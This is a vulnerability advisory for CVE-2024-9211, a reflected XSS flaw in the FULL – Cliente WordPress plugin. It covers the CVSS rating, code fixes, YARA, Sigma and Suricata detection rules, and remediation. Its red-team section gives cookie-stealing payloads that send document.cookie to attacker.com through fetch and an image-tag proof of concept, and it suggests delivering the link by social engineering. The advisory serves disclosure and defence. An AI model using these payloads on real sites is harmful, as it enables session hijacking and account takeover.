CVE-2024-9211

Executive Summary

CVE-2024-9211 is a Reflected Cross-Site Scripting (XSS) vulnerability in the FULL – Cliente WordPress plugin, affecting all versions up to and including 3.1.22. The flaw arises from the insecure use of add_query_arg and remove_query_arg functions without proper output escaping on URL parameters. An unauthenticated attacker can craft a malicious link that, when clicked by an authenticated administrator or any user, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation through third-party integrations or outdated installations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a link)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction, but the impact can be severe if an administrator is targeted, potentially leading to full site compromise.

Deep Dive & Mechanics

The vulnerability resides in the plugin's URL handling logic. The add_query_arg and remove_query_arg functions are used to construct URLs without escaping the output. An attacker can inject malicious JavaScript via a crafted query parameter, such as:

https://example.com/wp-admin/admin.php?page=full-cliente&_wp_http_referer=<script>alert('XSS')</script>

When the plugin processes this URL, it reflects the unescaped parameter back into the page, causing the script to execute. The lack of esc_url() or esc_attr() on the output allows arbitrary HTML/JavaScript injection.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.1.22):

$url = add_query_arg( 'page', 'full-cliente', admin_url( 'admin.php' ) );
$url = remove_query_arg( 'some_param', $url );
echo '<a href="' . $url . '">Link</a>';

Patched Code (hypothetical fix):

$url = add_query_arg( 'page', 'full-cliente', admin_url( 'admin.php' ) );
$url = remove_query_arg( 'some_param', $url );
echo '<a href="' . esc_url( $url ) . '">Link</a>';

The fix involves wrapping the URL output with esc_url() to neutralize any injected scripts.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with FULL – Cliente plugin <= 3.1.22.
• Victim user (preferably admin) must be logged in.

Exploit Steps:

1. Craft a malicious URL:

   https://target.com/wp-admin/admin.php?page=full-cliente&_wp_http_referer=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Send the link to the victim via email, social engineering, or other means.
3. When the victim clicks the link, the script executes and exfiltrates cookies to the attacker's server.

Proof-of-Concept (PoC) Code:

<!-- Save as poc.html and host on attacker server -->
<a href="https://target.com/wp-admin/admin.php?page=full-cliente&_wp_http_referer=<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>">Click me</a>

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious _wp_http_referer parameters containing <script> tags.
2. Use WAF rules to block requests with _wp_http_referer containing HTML/JavaScript.
3. Deploy Content Security Policy (CSP) headers to mitigate XSS impact.

Lab Setup:

• Use a local WordPress instance with the vulnerable plugin.
• Simulate attack using the PoC above.
• Verify detection via log analysis and WAF alerts.

Indicators of Compromise (IOCs)

• URL Patterns: _wp_http_referer=<script>
• Network Traffic: Outbound requests to attacker-controlled domains from the victim's browser.
• Log Entries: GET /wp-admin/admin.php?page=full-cliente&_wp_http_referer=<script>...
• File Changes: Unexpected modifications to WordPress admin pages or plugin files.

Detection Engineering

YARA Rule

rule CVE_2024_9211_XSS {
    meta:
        description = "Detects reflected XSS in FULL – Cliente plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9211"
    strings:
        $xss_payload = /_wp_http_referer=<script[^>]*>/
    condition:
        $xss_payload
}

Sigma Rule

title: Reflected XSS in FULL – Cliente Plugin
id: cve-2024-9211
status: experimental
description: Detects reflected XSS attempts via _wp_http_referer parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: '_wp_http_referer=<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in referer (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9211 Reflected XSS in FULL – Cliente"; flow:to_server,established; content:"_wp_http_referer=<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the FULL – Cliente plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block _wp_http_referer containing <script>.
3. Educate users not to click suspicious links.

Long-term Fix:

• Apply output escaping using esc_url() on all URL outputs.
• Update to the patched version once available.

Workaround:

• Add the following to .htaccess to block malicious requests:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} _wp_http_referer=<script [NC]
  RewriteRule .* - [F,L]
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert